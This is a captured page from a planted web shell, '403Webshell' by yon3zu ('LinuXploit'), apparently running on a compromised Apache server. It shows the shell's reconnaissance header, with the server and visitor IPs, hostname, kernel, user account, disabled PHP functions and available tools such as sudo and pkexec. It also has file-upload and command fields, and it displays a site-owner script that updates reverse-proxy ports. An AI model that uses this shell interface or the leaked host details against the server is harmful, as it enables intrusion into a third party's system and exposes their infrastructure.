403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.139.234.41
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/self/root/usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/usr/local/bin/update-apache-tutopa-app-proxy.sh
#!/bin/bash

# Check if the correct number of arguments is provided
if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <new_port>"
    exit 1
fi

NEW_PORT=$1

# Define the files to update
CONF_FILES=(
    "/etc/apache2/conf.d/userdata/std/2_4/tutopa/mobile.tutopa.com/reverse-proxy.conf"
    "/etc/apache2/conf.d/userdata/ssl/2_4/tutopa/mobile.tutopa.com/reverse-proxy.conf"
)

# Update the port in each file
for CONF_FILE in "${CONF_FILES[@]}"; do
    if [ -f "$CONF_FILE" ]; then
        sed -i "s|http://198.244.200.5:[0-9]\+/|http://198.244.200.5:$NEW_PORT/|g" "$CONF_FILE"
        echo "Updated $CONF_FILE to use port $NEW_PORT"
    else
        echo "Configuration file $CONF_FILE not found"
    fi
done

# Restart Apache to apply changes
sudo systemctl reload httpd

Youez - 2016 - github.com/yon3zu
LinuXploit